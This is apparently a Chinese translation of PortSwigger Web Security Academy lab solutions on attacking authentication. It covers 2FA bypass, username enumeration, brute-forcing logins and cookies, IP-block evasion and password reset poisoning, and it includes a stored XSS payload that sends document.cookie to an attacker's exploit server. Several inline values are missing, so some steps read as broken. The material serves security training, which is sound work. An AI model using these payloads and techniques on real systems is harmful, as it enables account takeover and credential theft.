2FA简单旁路
2FA 中文名称:双因素认证。一般来说,我们在大多数场景下都是使用帐号和密码来进行身份验证,而 2FA 就是除了建立帐号密码之外的第二个关卡。就算账号和密码不小心外泄了,也不至于马上被盗用(但还是要养成定期修改密码的好习惯)。而 2FA 又可以分为硬件版本和软件版本两种形式。
lab
solve
- 登录您自己的帐户。您的 2FA 验证码将通过电子邮件发送给您。单击“电子邮件客户端”按钮以访问您的电子邮件。
- 转到您的帐户页面并记下 URL。
- 注销您的帐户。
- 使用受害者的凭据登录。
- 当系统提示输入验证码时,手动更改 URL 以导航到 。当页面加载时,实验室就解决了。
/my-account
密码重置损坏的逻辑
lab
实验室:密码重置损坏的逻辑 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行时,单击“忘记密码”链接并输入您自己的用户名。
- 单击“电子邮件客户端”按钮可查看已发送的密码重置电子邮件。单击电子邮件中的链接,然后将密码重置为所需的任何密码。
- 在 Burp 中,转到代理> HTTP 历史记录并研究密码重置功能的请求和响应。请注意,重置令牌在重置电子邮件中作为 URL 查询参数提供。请注意,当您提交新密码时,请求将用户名作为隐藏输入。将此请求发送到 Burp Repeater。
POST /forgot-password?temp-forgot-password-token
- 在 Burp Repeater 中,请注意,即使您删除了 URL 和请求正文中的参数值,密码重置功能仍然有效。这确认在提交新密码时未检查令牌。
temp-forgot-password-token
- 在浏览器中,请求重置新密码,然后再次更改密码。再次将请求发送到 Burp Repeater。
POST /forgot-password?temp-forgot-password-token
- 在 Burp Repeater 中,删除 URL 和请求正文中的参数值。将参数更改为 。将新密码设置为所需的任何密码并发送请求。
temp-forgot-password-token
`username`carlos
- 在浏览器中,使用您刚刚设置的新密码登录 Carlos 的帐户。单击“我的帐户”以解决实验室问题。
通过细微不同的响应进行用户名枚举
lab
实验室:通过细微不同的响应进行用户名枚举 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,提交无效的用户名和密码。突出显示请求中的参数并将其发送到 Burp Intruder。
username
`POST /login` - 请注意,在“有效负载”选项卡上,该参数会自动标记为有效负载位置。确保选择了“简单列表”有效负载类型,并添加候选用户名列表。
username
- 在“设置”选项卡上的“Grep - Extract”下,单击“添加”。在显示的对话框中,向下滚动响应,直到找到错误消息。使用鼠标突出显示消息的文本内容。其他设置将自动调整。单击“确定”,然后开始攻击。
Invalid username or password.
- 攻击完成后,请注意,还有一个附加列包含您提取的错误消息。使用此列对结果进行排序,以注意到其中一个结果略有不同。
- 仔细查看此响应,请注意它在错误消息中包含拼写错误 - 而不是句号/句点,有一个尾随空格。记下此用户名。
关闭攻击并返回“位置”选项卡。插入您刚刚确定的用户名,并在参数中添加有效负载位置:
password
username=identified-user&password=§invalid-password§
- 在“有效负载”选项卡上,清除用户名列表并将其替换为密码列表。开始攻击。
- 攻击完成后,请注意其中一个请求收到了响应。记下此密码。
302
使用您标识的用户名和密码登录,然后访问用户帐户页面以解决实验室问题。
注意
也可以使用单个集束炸弹攻击来暴力登录。但是,如果可能,首先枚举有效的用户名通常更有效。
通过响应计时进行用户名枚举
lab
实验室:通过响应计时进行用户名枚举 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,提交无效的用户名和密码,然后将请求发送到 Burp Repeater。尝试使用不同的用户名和密码。请注意,如果您进行过多无效登录尝试,您的 IP 将被阻止。
POST /login
- 确定标头是否受支持,这允许您欺骗 IP 地址并绕过基于 IP 的暴力破解保护。
X-Forwarded-For
- 继续试验用户名和密码。特别注意响应时间。请注意,当用户名无效时,响应时间大致相同。但是,当您输入有效的用户名(您自己的用户名)时,响应时间会根据您输入的密码的长度而增加。
- 将此请求发送到 Burp Intruder,然后选择攻击类型到 Pitchfork。添加标头。
X-Forwarded-For
- 为标头和参数添加有效负载位置。将密码设置为很长的字符串(大约需要 100 个字符)。
X-Forwarded-For
`username` - 在“有效负载”选项卡上,选择“有效负载集 1”。选择“Numbers 表格”有效负载类型。输入范围 1 - 100 并将步长设置为 1。将最大小数位数设置为 0。这将用于欺骗您的 IP。
- 选择有效负载集 2 并添加用户名列表。开始攻击。
- 攻击完成后,单击对话框顶部的“列”,然后选择“已收到的响应”和“已完成响应”选项。这两列现在显示在结果表中。
- 请注意,其中一个响应时间明显长于其他响应时间。重复此请求几次以确保它始终需要更长的时间,然后记下此用户名。
- 为同一请求创建新的 Burp 入侵者攻击。再次添加标头并向其添加有效负载位置。插入您刚刚标识的用户名,并向参数添加有效负载位置。
X-Forwarded-For
`password` - 在有效负载选项卡上,添加有效负载集 1 中的数字列表,并将密码列表添加到有效负载集 2。开始攻击。
- 攻击完成后,找到具有状态的响应。记下此密码。
302
使用您标识的用户名和密码登录,然后访问用户帐户页面以解决实验室问题。
#### 注意
也可以使用单个集束炸弹攻击来暴力登录。但是,如果可能,首先枚举有效的用户名通常更有效。
破解保护,IP 块
lab
实验室:破解保护,IP 块 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,调查登录页面。请注意,如果您连续提交 3 次不正确的登录信息,您的 IP 将被暂时阻止。但是,请注意,在达到此限制之前,您可以通过登录自己的帐户来重置失败登录尝试次数的计数器。
- 输入无效的用户名和密码,然后将请求发送到 Burp Intruder。创建在 和 参数中都具有有效负载位置的干草叉攻击。
POST /login
`username`password
- 在“资源池”选项卡上,将攻击添加到资源池中,并将“最大并发请求数”设置为 。通过一次只发送一个请求,您可以确保以正确的顺序将登录尝试发送到服务器。
1
- 在“有效负载”选项卡上,选择“有效负载集 1”。添加在您的用户名和 . 之间交替使用的有效负载列表。确保您的用户名在前,并且至少重复 100 次。
carlos
`carlos` - 编辑候选密码列表,并在每个密码之前添加您自己的密码。确保您的密码与其他列表中的用户名一致。
- 将此列表添加到有效负载集 2 并开始攻击。
- 攻击完成后,筛选结果以隐藏带有 200 状态代码的响应。按用户名对剩余结果进行排序。对于用户名为 的请求,应该只有一个 302 响应。记下“有效负载 2”列中的密码。
carlos
- 使用您识别的密码登录 Carlos 的帐户,然后访问他的帐户页面以解决实验室问题。
通过帐户锁定进行用户名枚举
lab
实验室:通过帐户锁定进行用户名枚举 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,调查登录页面并提交无效的用户名和密码。将请求发送到 Burp Intruder。
POST /login
选择攻击类型集束炸弹。将有效负载位置添加到参数。通过单击“添加 §”两次,将空白有效负载位置添加到请求正文的末尾。结果应如下所示:
username
username=§invalid-username§&password=example§§
- 在“有效负载”选项卡上,将用户名列表添加到第一个有效负载集。对于第二组,选择 Null 有效负载类型,然后选择生成 5 个有效负载的选项。这将有效地导致每个用户名重复 5 次。开始攻击。
- 在结果中,请注意,其中一个用户名的响应比使用其他用户名时的响应长。更仔细地研究响应,并注意到它包含不同的错误消息:记下此用户名。
You have made too many incorrect login attempts.
- 在请求上创建新的 Burp Intruder 攻击,但这次选择 Sniper 攻击类型。将参数设置为您刚刚标识的用户名,并向该参数添加有效负载位置。
POST /login
`username`password
- 将密码列表添加到有效负载集,并为错误消息创建 grep 提取规则。开始攻击。
- 在结果中,查看 grep 提取列。请注意,有几个不同的错误消息,但其中一个响应不包含任何错误消息。记下此密码。
- 等待一分钟以允许重置帐户锁定。使用您标识的用户名和密码登录,然后访问用户帐户页面以解决实验室问题。
2FA逻辑损坏
lab
实验室:2FA逻辑损坏 |网络安全学院 (portswigger.net)
solve
- 运行 Burp 后,登录您自己的帐户并调查 2FA 验证过程。请注意,在请求中,该参数用于确定正在访问哪个用户的帐户。
POST /login2
`verify` - 注销您的帐户。
- 将请求发送到 Burp Repeater。将参数的值更改为 并发送请求。这可确保为 Carlos 生成临时 2FA 代码。
GET /login2
`verify`carlos
- 转到登录页面并输入您的用户名和密码。然后,提交无效的 2FA 代码。
- 将请求发送到 Burp Intruder。
POST /login2
- 在 Burp Intruder 中,将参数设置为 ,并向参数添加有效负载位置。暴力破解验证码。
verify
`carlos`mfa-code
- 在浏览器中加载 302 响应。
- 单击“我的帐户”以解决实验室问题。
暴力破解保持登录状态的 cookie
lab
实验室:暴力破解保持登录状态的 cookie |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,使用选中“保持登录状态”选项登录到您自己的帐户。请注意,这将设置一个 cookie。
stay-logged-in
在“检查器”面板中检查此 cookie,并注意它是 Base64 编码的。其解码值为 。研究此字符串的长度和字符集,并注意它可能是 MD5 哈希。鉴于明文是您的用户名,您可以做出有根据的猜测,这可能是您密码的哈希值。使用 MD5 对您的密码进行哈希处理,以确认是否属于这种情况。我们现在知道 cookie 的构造如下:
wiener:51dc30ddc473d43a6011e9ebba6ca770
base64(username+':'+md5HashOfPassword)
- 注销您的帐户。
- 在最近的 中,突出显示 cookie 参数并将请求发送到 Burp Intruder。
GET /my-account
`stay-logged-in` - 请注意,在 Burp Intruder 中,cookie 已自动添加为有效负载位置。将您自己的密码添加为单个有效负载。
stay-logged-in
在“有效负载处理”下,按顺序添加以下规则。在提交请求之前,这些规则将按顺序应用于每个有效负载。
- 散 列:
MD5
- 添加前缀:
wiener:
- 编码:
Base64-encode
- 散 列:
- 由于“更新电子邮件”按钮仅在您以身份验证状态访问页面时显示,因此我们可以使用此按钮的存在与否来确定我们是否成功暴力破解了 cookie。在“设置”选项卡上,添加 grep 匹配规则以标记包含字符串 的任何响应。开始攻击。
/my-account
`Update email` - 请注意,生成的有效负载用于成功加载您自己的帐户页面。这确认了有效负载处理规则按预期工作,并且您能够为自己的帐户构建有效的 Cookie。
进行以下调整,然后重复此攻击:
- 从有效负载列表中删除您自己的密码,并改为添加候选密码列表。
- 将“添加前缀”规则更改为 add,而不是 。
carlos:
`wiener:`
- 攻击完成后,实验室将得到解决。请注意,只有一个请求返回了包含 的响应。此请求的有效负载是 Carlos 帐户的有效 cookie。
Update email
`stay-logged-in`
离线密码破解
lab
实验室:离线密码破解 |网络安全学院 (portswigger.net)
solve
- 在Burp运行的情况下,使用您自己的帐户来调查“保持登录状态”功能。请注意,该 cookie 是 Base64 编码的。
stay-logged-in
在“代理> HTTP 历史记录”选项卡中,转到“对登录请求的响应”并突出显示 cookie,以查看其构造如下:
stay-logged-in
username+':'+md5HashOfPassword
- 您现在需要窃取受害用户的 cookie。请注意,注释功能容易受到 XSS 的攻击。
- 转到攻击服务器并记下 URL。
转到其中一个博客并发布包含以下存储的 XSS 有效负载的评论,请记住输入您自己的漏洞利用服务器 ID:
<script>document.location='//YOUR-EXPLOIT-SERVER-ID.exploit-server.net/'+document.cookie</script>
- 在攻击服务器上,打开访问日志。受害者应该有一个包含其 cookie 的请求。
GET
`stay-logged-in` 在 Burp Decoder 中解码 cookie。结果将是:
carlos:26323c16d5f4dabff3bb136f2460a943
- 复制哈希值并将其粘贴到搜索引擎中。这将显示密码是 .
onceuponatime
- 登录受害者的账户,进入“我的账户”页面,删除他们的账户以解决实验室问题。
通过中间件重置密码中毒
lab
实验室:通过中间件进行密码重置中毒 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,调查密码重置功能。请注意,包含唯一重置令牌的链接是通过电子邮件发送的。
- 将请求发送到 Burp Repeater。请注意,标头是受支持的,您可以使用它来将动态生成的重置链接指向任意域。
POST /forgot-password
`X-Forwarded-Host` - 转到攻击服务器并记下攻击服务器 URL。
返回到 Burp Repeater 中的请求,并添加包含攻击服务器 URL 的标头:
X-Forwarded-Host
X-Forwarded-Host: YOUR-EXPLOIT-SERVER-ID.exploit-server.net
- 将参数更改为 并发送请求。
username
`carlos` - 转到攻击服务器并打开访问日志。您应该会看到一个请求,其中包含受害者的令牌作为查询参数。记下此令牌。
GET /forgot-password
- 返回到电子邮件客户端并复制有效的密码重置链接(而不是指向攻击服务器的链接)。将其粘贴到浏览器中,并将参数的值更改为您从受害者那里窃取的值。
temp-forgot-password-token
- 加载此 URL 并为 Carlos 的帐户设置新密码。
- 使用新密码登录 Carlos 的帐户以解决实验室问题。
通过更改密码进行密码暴力破解
lab
实验室:通过更改密码进行密码暴力破解 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,登录并尝试密码更改功能。请注意,用户名在请求中作为隐藏输入提交。
- 请注意输入错误的当前密码时的行为。如果新密码的两个条目匹配,则帐户将被锁定。但是,如果输入两个不同的新密码,则错误消息仅显示 。如果输入有效的当前密码,但输入了两个不同的新密码,则消息显示 .我们可以使用此消息枚举正确的密码。
Current password is incorrect
`New passwords do not match` - 输入正确的当前密码和两个不匹配的新密码。将此请求发送到 Burp Intruder。
POST /my-account/change-password
在 Burp Intruder 中,将参数更改为 并向参数添加有效负载位置。请确保将新密码参数设置为两个不同的值。例如:
username
`carlos`current-password
username=carlos¤t-password=§incorrect-password§&new-password-1=123&new-password-2=abc
- 在“有效负载”选项卡上,输入密码列表作为有效负载集
- 在“设置”选项卡上,添加 grep 匹配规则以标记包含 的响应。开始攻击。
New passwords do not match
- 攻击完成后,请注意,已找到一个包含该消息的响应。记下此密码。
New passwords do not match
- 在浏览器中,注销您自己的帐户,然后使用您刚刚识别的用户名和密码重新锁定。
carlos
- 单击“我的帐户”以解决实验室问题。
暴力破解保护,每个请求多个凭据
lab
实验室:暴力破解保护,每个请求多个凭据 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,调查登录页面。请注意,请求以格式提交登录凭据。将此请求发送到 Burp Repeater。
POST /login
`JSON` 在 Burp Repeater 中,将密码的单个字符串值替换为包含所有候选密码的字符串数组。例如:
"username" : "carlos", "password" : [ "123456", "password", "qwerty" ... ]
- 发送请求。这将返回 302 响应。
- 右键单击此请求,然后选择“在浏览器中显示响应”。复制 URL 并将其加载到浏览器中。页面将加载,并且您以 .
carlos
- 单击“我的帐户”以访问 Carlos 的帐户页面并解决实验室问题。
使用暴力攻击绕过 2FA
lab
实验室:使用暴力攻击的 2FA 绕过 |网络安全学院 (portswigger.net)
solve
- 在 Burp 运行的情况下,登录并调查 2FA 验证过程。请注意,如果您两次输入错误的代码,您将再次被注销。在发送每个请求之前,您需要使用 Burp 的会话处理功能自动重新登录。
carlos
- 在 Burp 中,转到“项目选项”>“会话”。在“会话处理规则”面板中,单击“添加”。将打开“会话处理规则编辑器”对话框。
- 在对话框中,转到“范围”选项卡。在“URL 范围”下,选择“包括所有 URL”选项。
- 返回到“详细信息”选项卡,在“规则操作”下,单击“添加”>“运行宏”。
在“选择宏”下,单击“添加”以打开宏记录器。选择以下 3 个请求:
GET /login POST /login GET /login2
然后单击“确定”。“宏编辑器”(Macro Editor) 对话框打开。
- 单击“测试宏”,然后检查最终响应是否包含要求您提供 4 位安全代码的页面。这确认宏工作正常。
- 继续单击“确定”以关闭各个对话框,直到返回到打嗝主窗口。现在,在 Burp Intruder 发送每个请求之前,宏将自动以 Carlos 身份将您重新登录。
- 将请求发送到 Burp Intruder。
POST /login2
- 在 Burp Intruder 中,向参数添加有效负载位置。
mfa-code
- 在“有效负载”选项卡上,选择“Numbers ”有效负载类型。输入范围 0 - 9999 并将步长设置为 1。将最小/最大整数数字设置为 4,将最大小数数字设置为 0。这将为每个可能的 4 位整数创建一个有效负载。
- 转到“资源池”选项卡,将攻击添加到资源池中,并将“最大并发请求数”设置为 。
1
- 开始攻击。最终,其中一个请求将返回 302 状态代码。右键单击此请求,然后选择“在浏览器中显示响应”。复制 URL 并将其加载到浏览器中。
- 单击“我的帐户”以解决实验室问题。
评论0
暂时没有评论